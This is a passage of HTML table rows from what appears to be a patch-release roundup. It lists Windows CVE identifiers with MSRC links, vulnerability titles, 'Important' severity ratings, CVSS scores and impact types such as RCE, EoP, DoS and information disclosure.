  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
